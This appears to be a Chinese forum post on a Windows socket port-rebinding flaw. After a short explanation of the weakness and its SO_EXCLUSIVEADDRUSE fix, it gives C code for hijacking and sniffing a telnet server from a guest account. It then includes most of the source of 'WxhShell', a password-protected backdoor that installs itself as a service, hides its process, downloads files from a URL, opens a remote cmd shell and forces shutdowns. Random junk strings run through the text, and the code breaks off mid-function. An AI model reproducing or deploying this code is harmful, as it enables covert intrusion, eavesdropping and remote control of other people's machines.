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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: vzcBo% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [9O~$! <% T5azYdzJy saddr.sin_family = AF_INET; QG|GXp_q` U>_IYT
saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9*|3E"Vr %md^S
| bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); V 7l{hEo3? }11`98>B6: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %i&/$0.8 ^+as\ 这意味着什么?意味着可以进行如下的攻击: eky(;%Sz r)p2'+}pV 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .ts0LDk0f 4`6c28K0? 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N<06sRg# V(2,\+ t 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +^*5${g;@H GwQZf| 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 O<1vSav!K ~zxwg+:QO 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ``$%L=_m M%&A.j[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n#>.\F vK6ibl0 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /c@*eU >7nV$.5S #include 5e)6ua , #include 2{e dW+ #include 'B3Wz a. #include y~ _za(k DWORD WINAPI ClientThread(LPVOID lpParam); 1BMB?I int main() Or+*q91j { 2;4]PRD6w WORD wVersionRequested; #Pu@Wx DWORD ret; AU)1vx(\w WSADATA wsaData; zg#m09[4 BOOL val; 7G.o@p6$ SOCKADDR_IN saddr; \\S/NA SOCKADDR_IN scaddr; fey*la Xq int err; #0bO)m+NZ SOCKET s; 7}ws
|4Y SOCKET sc; ZU|6jI} int caddsize; dP$8JI{ HANDLE mt; _ }E-~I> DWORD tid; %j'G.*TD wVersionRequested = MAKEWORD( 2, 2 ); mDQEXMD err = WSAStartup( wVersionRequested, &wsaData ); VYamskK[G: if ( err != 0 ) { Qj(vBo?D printf("error!WSAStartup failed!\n"); kmlG3hOR, return -1; NoCDY2 $ } R9Sf!LR saddr.sin_family = AF_INET; 5: daa YlswSQ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )bLGEmm "1XXE3^^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); VG_uxKY saddr.sin_port = htons(23); d4Co^A& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `DLp<_z>
{
qH#r- printf("error!socket failed!\n"); ?a5h iN0 return -1; H2qf' } 8!4~T,9G val = TRUE; iq"ob8. //SO_REUSEADDR选项就是可以实现端口重绑定的 D|@bGN if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) yoBgr7gS { )0#j\B printf("error!setsockopt failed!\n"); 48 W.qzC return -1; BBHK } fdlvn*H //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D \N
\BD //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3k#[(phk //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sl/=g
z Yw;q3" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t})lr\ { EL^8zyg%% ret=GetLastError(); 60!1D>, printf("error!bind failed!\n"); ;LCTCt` return -1; *cbeyB{E } e`i7ah; listen(s,2); 5Sr4-F+@% while(1) U1ZIuDg'E { KH7VR^;mk caddsize = sizeof(scaddr); qysTjGwa] //接受连接请求 iI5+P`sE&J sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s\[LpLt if(sc!=INVALID_SOCKET) KZ=u54 { &V'519vmoZ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t3PtKgP-6 if(mt==NULL) 7vn%kW=$ { L}'Yd' printf("Thread Creat Failed!\n"); &&=[Ivv break; Cye
T]y } 4/S=5r} } UMV)wy|j CloseHandle(mt); @;vNX*-J } lT2 4JhJ# closesocket(s); M)&Io6>
WSACleanup(); w|IjQ1{ return 0; NXpmT4 } 2{bhA5L DWORD WINAPI ClientThread(LPVOID lpParam) WRWWskP { 4&QUh+F SOCKET ss = (SOCKET)lpParam; Nln`fE/Ht SOCKET sc; 9lf*O0Z&n unsigned char buf[4096]; 6{q;1-8j+j SOCKADDR_IN saddr; <,"4k&0Q>V long num; HPrq1QpK DWORD val; q:I$EpKf?Q DWORD ret; HPg3`Ul //如果是隐藏端口应用的话,可以在此处加一些判断 8S\RN&T$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 oM!xz1kVL saddr.sin_family = AF_INET; :.kZR; saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0}{'C5 saddr.sin_port = htons(23); 7 8Vcu'j&_ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {_?rh,9q { S,)d(g3> printf("error!socket failed!\n"); x2co>.i return -1; 7BR8/4gcPu } cHx%Nd\ val = 100; OS-sk! if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^W~p..DF { rLU'*} ret = GetLastError(); -KH)J return -1; +TK3{5`!Ae } k.<3HU if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G8nrdN-9 { .`jo/,?+O ret = GetLastError(); F]UQuOR) return -1; %SrM|&[ } j9d!yW if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #] CFA9z { +Y}V3(w9X printf("error!socket connect failed!\n"); =-NiO@5o closesocket(sc); :_5/u|{
closesocket(ss); !gF9k8\Yr$ return -1; :4:N f } r> k-KdS while(1) "g>.{E5 { ~e `Bq> //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 KzjC/1sd //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]PWDE" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {ox2Tg? num = recv(ss,buf,4096,0); sV/l5]b] if(num>0) O:'?n8rWL send(sc,buf,num,0); UDy(dn>J:J else if(num==0) W3r?7!~ break; \8S~c8Z~ num = recv(sc,buf,4096,0); '$G"[ljr if(num>0) )[L^Dmd, send(ss,buf,num,0); 0fm*`4Q else if(num==0) D f4+^B,1 break; :`\)
P, } *>NX%by) closesocket(ss); PRkSQ4 closesocket(sc); bDnZcf return 0 ; 'm3t|:nMU } mj&57D\fq 0p(L' ,HB2hHD ==========================================================
|l0Ea b>\?yL/%+? 下边附上一个代码,,WXhSHELL zce`\ /: sa1h%< ========================================================== {D`'0Z1" )w h%| #include "stdafx.h" |&3x#1A P`$!@T0= #include <stdio.h> DC+b=IOz #include <string.h> t23'x0l #include <windows.h> ^03j8Pc-c #include <winsock2.h> M;w?[yEZ #include <winsvc.h> :~F :/5 #include <urlmon.h> 59r_#(uo Vw tZLP36 #pragma comment (lib, "Ws2_32.lib") 6E~g# (8 #pragma comment (lib, "urlmon.lib") C NsNZJ m8R9{LC #define MAX_USER 100 // 最大客户端连接数 6at1bQ$ #define BUF_SOCK 200 // sock buffer bWWXc[O2&( #define KEY_BUFF 255 // 输入 buffer vb
Y3;+M> 6e,xDr #define REBOOT 0 // 重启 =<}<Ny #define SHUTDOWN 1 // 关机 K+*Q@R D 6$U]9D #define DEF_PORT 5000 // 监听端口 m)v''`9LU mLh kI!4[ #define REG_LEN 16 // 注册表键长度 dS2G}L^L #define SVC_LEN 80 // NT服务名长度 j;b42G~p p;T{i._iL // 从dll定义API #[{3} %b typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N_eX/ux typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VU`OO$,W typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S! Rc|6y% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uhyj5u) O7d$YB_' // wxhshell配置信息 7hP<f}xL struct WSCFG { ({r*=wAP int ws_port; // 监听端口 kIHDeo%K} char ws_passstr[REG_LEN]; // 口令 <%.5hCTp97 int ws_autoins; // 安装标记, 1=yes 0=no #Z+i~t{e( char ws_regname[REG_LEN]; // 注册表键名
hc#!Lv char ws_svcname[REG_LEN]; // 服务名 vhbDb)J char ws_svcdisp[SVC_LEN]; // 服务显示名 4y:]DC" char ws_svcdesc[SVC_LEN]; // 服务描述信息 kOOGw:/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9,uhfb^] int ws_downexe; // 下载执行标记, 1=yes 0=no Vj<:GRNQ,d char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" e^p
+1-B char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %nN `|\ 5r~#0Zf* }; Q;11N7+ +gd4\ZG // default Wxhshell configuration r={c,i struct WSCFG wscfg={DEF_PORT, $rIoHxh. y "xuhuanlingzhe", z]B]QB
Y[ 1, T>TWU: "Wxhshell", ca i<,3H "Wxhshell", ,.iRnR
"WxhShell Service", W1fW}0
"Wrsky Windows CmdShell Service", m!<i0thJ "Please Input Your Password: ", m>USD?i 1, >~%e$a7}+ " http://www.wrsky.com/wxhshell.exe", +#U|skl "Wxhshell.exe" dr)YzOvba }; **9x?s F+R?a+e // 消息定义模块 ^;!0j9"*: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :B3[:MpL} char *msg_ws_prompt="\n\r? for help\n\r#>"; -;f*VM.a char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; FZjHw_pP char *msg_ws_ext="\n\rExit."; *eI)Z=8 char *msg_ws_end="\n\rQuit."; [Wd-Zn% char *msg_ws_boot="\n\rReboot..."; XO#/Fv! char *msg_ws_poff="\n\rShutdown..."; rX_@Ihv' char *msg_ws_down="\n\rSave to "; !!@A8~H hfpJ+[ char *msg_ws_err="\n\rErr!"; XL#[%X9 char *msg_ws_ok="\n\rOK!"; {{V8;y
#^m0aB7r char ExeFile[MAX_PATH]; %CWPbk^ int nUser = 0; D\IjyZ-O HANDLE handles[MAX_USER]; SJD@&m%?[ int OsIsNt; ^,m< 9 XE^)VLH: SERVICE_STATUS serviceStatus; _zlqtO SERVICE_STATUS_HANDLE hServiceStatusHandle; zvABU+{jD DZzN>9<)^ // 函数声明 oFOnjK"|F int Install(void); "KcA int Uninstall(void); n>@oBG)! int DownloadFile(char *sURL, SOCKET wsh); W3`>8v1?o int Boot(int flag); zJe#m|Z void HideProc(void); f{SB1M int GetOsVer(void); @`\VBW int Wxhshell(SOCKET wsl); 6'\6OsH void TalkWithClient(void *cs); dJ"iEb|4 int CmdShell(SOCKET sock); ^N8)]F, int StartFromService(void); &zs'/xv] int StartWxhshell(LPSTR lpCmdLine); zD?oXs ~y=T5wt VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LYlDc;<A VOID WINAPI NTServiceHandler( DWORD fdwControl ); UK9@oCIB \fr-<5w7 9 // 数据结构和表定义 G)?9.t_Lj- SERVICE_TABLE_ENTRY DispatchTable[] = gV&z2S~" { d,Y_GCZ7|W {wscfg.ws_svcname, NTServiceMain}, Y*mbjyt[?X {NULL, NULL} ge]STSM0n7 }; hiNEJ_f SG6sw]x // 自我安装 j*~T1i int Install(void) ySI~{YVM { 9 \^|6k, char svExeFile[MAX_PATH]; Mq';S^ HKEY key; cuOvN"nuNj strcpy(svExeFile,ExeFile); %Uz(Vd#K =8U&[F // 如果是win9x系统,修改注册表设为自启动 R<B7K?SxV~ if(!OsIsNt) { >X*Mio8P# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GhPK-+"X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,3nN[)dk RegCloseKey(key); `/Y{ l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
yf&7P;A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <&)v~-&O
RegCloseKey(key); ?%H):r return 0; Y@PI {;! } /x3/Ubmz~x } {Zp\^/ } asJ)4ema else { V!)O6?l T#bu
V // 如果是NT以上系统,安装为系统服务 GF3/ RT9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LjV]0%j?r if (schSCManager!=0) DY[$"8Kxcp { YM5fyv? SC_HANDLE schService = CreateService y"Nsh>h ( .*elggM schSCManager, 2h?uNW(0Q wscfg.ws_svcname, 610D%F wscfg.ws_svcdisp, WxF:~{ SERVICE_ALL_ACCESS, [s<^&WM/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L~ s3b SERVICE_AUTO_START, !UFfsNiXZ SERVICE_ERROR_NORMAL, .^b;osAU svExeFile, :O5og[;b NULL, WJ*n29^N^h NULL, 7Pa@1'] NULL, A&>.74}p NULL, V2N_8)s9W NULL s3W@WH^. ); {[+2n]f_G if (schService!=0) Q
X%&~ { dDnf^7q/ CloseServiceHandle(schService); [TNj;o5J CloseServiceHandle(schSCManager); /T.KbLx~q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NV#FvM/#" strcat(svExeFile,wscfg.ws_svcname); VN%INUi@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .L~Nq%g1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >MPr=W%E RegCloseKey(key); g[w,!F return 0; Z}-Vf$O~ } `U2DkY&n } -j&Tc`j_ CloseServiceHandle(schSCManager); o=nsy]'& } w9|w2UK } T~b>B`_ 29reG,> return 1; w |l1' } cW+t#>'r ,K^4fL$C;3 // 自我卸载 _D|^.)=U| int Uninstall(void) f
nI| { /Wf^hA
HKEY key; JsotOic% /EG~sRvl} if(!OsIsNt) { 3QpYmX<E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CpJ0m-7aIH RegDeleteValue(key,wscfg.ws_regname); ~b:Rd{ RegCloseKey(key); vVE7fq3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Kt(-@\)! RegDeleteValue(key,wscfg.ws_regname); t-LG }nv RegCloseKey(key); oTT7M`P3h return 0; _sbp6ZO_ } ;*,f< } not YeY7wR } ~,2/JDVJ5- else { i<(Xr Dr6A,3B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n#=o?!_4 if (schSCManager!=0) mq%<6/YU { /x1MPP>fu SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +d|mR9^([ if (schService!=0) asC_$tsMe { +CI1V>6^ if(DeleteService(schService)!=0) { ?Mee
6 CloseServiceHandle(schService); 'FYJMIs CloseServiceHandle(schSCManager); owPm/ F return 0; z.}[m,oTF } vp.ZK[/` CloseServiceHandle(schService); ~.!c~fke } )$,"u4 CloseServiceHandle(schSCManager); *&
m#qEv } 2W$cFC } TXZv2P9 \Vl`YYjZ return 1; Jnv@. } |c`w'W?C6 n-TQ*&h]3S // 从指定url下载文件 ;.bm6(; int DownloadFile(char *sURL, SOCKET wsh) WMj}kq)SY) { CSCN['x HRESULT hr; B7"PIkk; char seps[]= "/"; 7-BvFEM; char *token; RW P<B0) char *file; X_v[MW char myURL[MAX_PATH]; `g,8- char myFILE[MAX_PATH]; G-T0f 6eokCc"o strcpy(myURL,sURL); 5K?}}Frrt` token=strtok(myURL,seps); 5#QXR+
T while(token!=NULL) D0N9Ksq { \);4F=h}f file=token; vip~' token=strtok(NULL,seps); nB] >!q } m%PC8bf`S l|hUw GetCurrentDirectory(MAX_PATH,myFILE); |{@FMxn|q strcat(myFILE, "\\"); B*gdgM*` strcat(myFILE, file); O=9-Qv| send(wsh,myFILE,strlen(myFILE),0); %K]euEqs send(wsh,"...",3,0); pc?>cs8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $m CarFV-T if(hr==S_OK) 4BwQA#zE return 0; w eQYQrN else MJ=)v]a return 1; V:G>G'Eh0 P<fnLQ9 } Q%-di= R-:fd!3oQ // 系统电源模块 lb:/EUd5 int Boot(int flag) ]
7 _`]7p { M,5"b+mX[~ HANDLE hToken; sZLT<6_B TOKEN_PRIVILEGES tkp; ?,yj")+ .Udj@{ if(OsIsNt) { VS&TA> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b^[F""!e LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [2|kl
l tkp.PrivilegeCount = 1; WYc7aciJ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d`1I".y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =LTmr1? if(flag==REBOOT) { A0%}v* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +,2Jzl'- return 0; $TI5vhQ }
U8(Nk\"X\ else { +<prgP`v if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;us%/kOR return 0; ",)Qc!^P$
} jV8q)=}*) } hkOsm6 else { jP~Z`yf if(flag==REBOOT) { 4Bl{WyMJ | if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1bw{q.cmD return 0; ;@
[
0x }
G"T',~ else { Z;h<6[( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h!m_PgRSs return 0; M?/jkc.8H } 3z]+uv+2J } ,hVvve,j} 3<F </ return 1; )(7&X45,k } 7r{83_B j w* IO // win9x进程隐藏模块 VAC iVKk void HideProc(void) +1~Z#^{& { K\)Td+~jc n$[f94d= HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DD44"w_9 if ( hKernel != NULL ) s[gKc ' { XW?b\!@ $ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (Y^X0yA/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z5bo_Eq FreeLibrary(hKernel); "@9?QI} } <9sO F,5r9^,_ return; [TCP-bU } "z<azs Od?qz1 // 获取操作系统版本 -LM;}< int GetOsVer(void) hva2o` { <A9y9|>o OSVERSIONINFO winfo; Jdy=_88MD
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %okzOKKX GetVersionEx(&winfo); ,/O[=9l36R if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v2,%K`pAU return 1; QKE9R-KTE else +-B^Z On return 0; z_
=Bt } zS< jd~ 2Dd|~{% // 客户端句柄模块 r 6eb}z!i int Wxhshell(SOCKET wsl) v=95_l { MZ+e}|!4, SOCKET wsh; N0>0z]4;q struct sockaddr_in client; [Ei1~n)o DWORD myID; $F.kK%-* GTv#nnC while(nUser<MAX_USER) bJ_cId8+ { V]S1X^ int nSize=sizeof(client); OMk5{-8B wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .q][? mW3 if(wsh==INVALID_SOCKET) return 1; >\w&6i~ 8_K60eXz handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +wW@'X
if(handles[nUser]==0) U}$DhA"r" closesocket(wsh); "S&%w8V else >]=j'+] nUser++; *;|`E( } MuBx#M/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ouHu8)q'r _73h<|0 return 0; `c+/q2M } { BEo & iBudmT8 // 关闭 socket gN {'UDg void CloseIt(SOCKET wsh)
Yav2q3 { dO7;}>F$n closesocket(wsh); )~jqW=d
2 nUser--; K)Zlc0e ExitThread(0); #'4OYY. } E|:!Q8"%w joul<t- // 客户端请求句柄 gh6d&ucQ^ void TalkWithClient(void *cs) N -w(e { iqW1#)3'R $mGvJ*9 SOCKET wsh=(SOCKET)cs; (5^ZlOk3 char pwd[SVC_LEN]; %PJhy 2 char cmd[KEY_BUFF]; ftBq^tC char chr[1]; $<p8TtI=YQ int i,j; ;W:6{9m ze oVCmI"' while (nUser < MAX_USER) { I?Q+9Rmm`J S=3^Q;V/1 if(wscfg.ws_passstr) { zhB ">j8j if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EC<b3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D=RU`?L //ZeroMemory(pwd,KEY_BUFF); 3?&h^UX i=0; BGzI while(i<SVC_LEN) { *5,c Rz hnWo|! ,O$ // 设置超时 sCl$f7" fd_set FdRead; &W }<:WH~ struct timeval TimeOut; ^6p'YYj"5 FD_ZERO(&FdRead); ~2u\ FD_SET(wsh,&FdRead); mDFlz1J,e TimeOut.tv_sec=8; Ri>?KrQF% TimeOut.tv_usec=0; nU`Lhh8y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }%n5nLU` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #pdUJ2)yM W4YE~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7t-Lz|
$" pwd =chr[0]; }%{MPqg if(chr[0]==0xd || chr[0]==0xa) { NN
0Q`r,8} pwd=0; r+<{S\ Q break; ^;F{)bmu+) } ;HOPABWz) i++; #ZiT- } .]Mn^2#j 7.bN99{xPM // 如果是非法用户,关闭 socket v[<Bjs\q5 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q;AT>" = ) } P,bd' (sw-~U% send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8n4V
cu send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cjULX+h EP7AP4 while(1) { *Zd84wRSj #l1Q e` ZeroMemory(cmd,KEY_BUFF); (foBp o07IcIo // 自动支持客户端 telnet标准 e,A)U5X j=0; N<z`yV while(j<KEY_BUFF) { |s gXh9%x< if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5nCu~<uJ cmd[j]=chr[0]; ``?6=mO if(chr[0]==0xa || chr[0]==0xd) { A~lIa$U$b cmd[j]=0; PI5j"u UO break; @{Py % } 3]E(mRX j++; |kiJ}oy } '4;6u]d)2 -pTI? // 下载文件 :XT?jdg if(strstr(cmd,"http://")) { 6&2LWaWMo$ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;)!"Ty| if(DownloadFile(cmd,wsh)) G5]1s send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9-jO,l else {,O`rW_eS send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aw}+'(?8] } ;7G_f else { -.vDF?@G 4f1D*id*`# switch(cmd[0]) { qJ[@:&: >R,?hWT // 帮助 jOtX
60; case '?': { DpL8'Dib send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :_d3//| break; w! q& } ]jM^Z.mI+ // 安装 <6N_at3 case 'i': { )wf\F6jN if(Install()) q"aPJ0ni' send(wsh,msg_ws_err,strlen(msg_ws_err),0); W7G9Kx1Y else E*v]:kok send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tGqCt9;< break; 7$b?m6fmK } r25Z`X Z // 卸载 E;-qP)yU case 'r': { xDrV5bg if(Uninstall()) 4u:0n>nJ1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q2~5" else ! gp}U#Yv send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K%,$ V,# break; uzorLeu } S6 }QFx // 显示 wxhshell 所在路径 = hX[ case 'p': { Z6=~1'<X char svExeFile[MAX_PATH]; QdDtvJLf strcpy(svExeFile,"\n\r"); ,# "(Z strcat(svExeFile,ExeFile); ^Qh-(u` send(wsh,svExeFile,strlen(svExeFile),0); K=kH%ZK break; A'eAu } t;Wotfc[#0 // 重启 No W!xLI case 'b': { B/YcSEY; send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3;BvnD7 if(Boot(REBOOT)) VbxAd 2') send(wsh,msg_ws_err,strlen(msg_ws_err),0); jL4>A$ else { By)3*<5a_ closesocket(wsh); ]O@"\_} ExitThread(0); Xm[Czd]% } Hql5oA break; `facFt[\ } {fG|_+tl3o // 关机 Lbq_~ case 'd': { `Wf5 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rye)qp| if(Boot(SHUTDOWN)) 29O]S8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); FP;":i RL else { Yk>8g;< closesocket(wsh); {,V$* ExitThread(0); @P70W<< } OJ[rj`wrW^ break; A
+!sD5d } Gc5VQ^] // 获取shell IvSn>o case 's': { FX 1C
e CmdShell(wsh); dIK{MA closesocket(wsh); +L6" vkz ExitThread(0); |a(Q4 e/, break; Es:6 } z_(eQP]) // 退出 ?cBO6^ case 'x': { P7>IZ >bw send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .wri5 CloseIt(wsh); 9UmBm#" break; Y2vj}9jK } e-!?[Ujv*% // 离开 "w^Nu6 case 'q': { 5vGioO send(wsh,msg_ws_end,strlen(msg_ws_end),0); Riq|w+Q closesocket(wsh); xK!DtRzsA WSACleanup(); C"9"{ exit(1); 104!!m break; : ~'Z(-a } S2}Z&X( } ZV#$Z } 4@~a<P# `G0*l|m> // 提示信息 n'3u ]~7^ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }MjQP R } O"QHb|j } SauHFl8? {tmKCG return; ,]U[W } GRQ_+K n>T:2PQ3 // shell模块句柄 |Pf(J;'[ int CmdShell(SOCKET sock) D@5s8xv { M4H"].Zm STARTUPINFO si; c'~[!,[b< ZeroMemory(&si,sizeof(si));
Ut':$l= si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~%KM3Vap si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9RB`$5F;
PROCESS_INFORMATION ProcessInfo; '2wCP
EC char cmdline[]="cmd"; kXCY))vnn CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )DRkS,I return 0; 4n4j=x]@ } \AHY[WKx v<+4BjV!J} // 自身启动模式 QD}1?)} int StartFromService(void) $*i7?S@~- { pzAoq)gg: typedef struct !(yT7#?hP { ;fkSrdj DWORD ExitStatus; 9IOGc} DWORD PebBaseAddress; Wv NI=> DWORD AffinityMask; *78)2)=~ DWORD BasePriority; 7
{nl..` ULONG UniqueProcessId; y-<$bA[K~ ULONG InheritedFromUniqueProcessId; uNg'h/^NZ| } PROCESS_BASIC_INFORMATION; Vbo5`+NAis ])S$x{.g PROCNTQSIP NtQueryInformationProcess; [tOuNj: k~R{Y~W!! static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'hy?jQ'|e static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y}K!`~n1S }!=gP.Zu^ HANDLE hProcess; {Wa~}1`Kl PROCESS_BASIC_INFORMATION pbi; psu OJ- iT[oKD0) HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jwq\stjD if(NULL == hInst ) return 0; S$\.4*_H\ :TlAL#
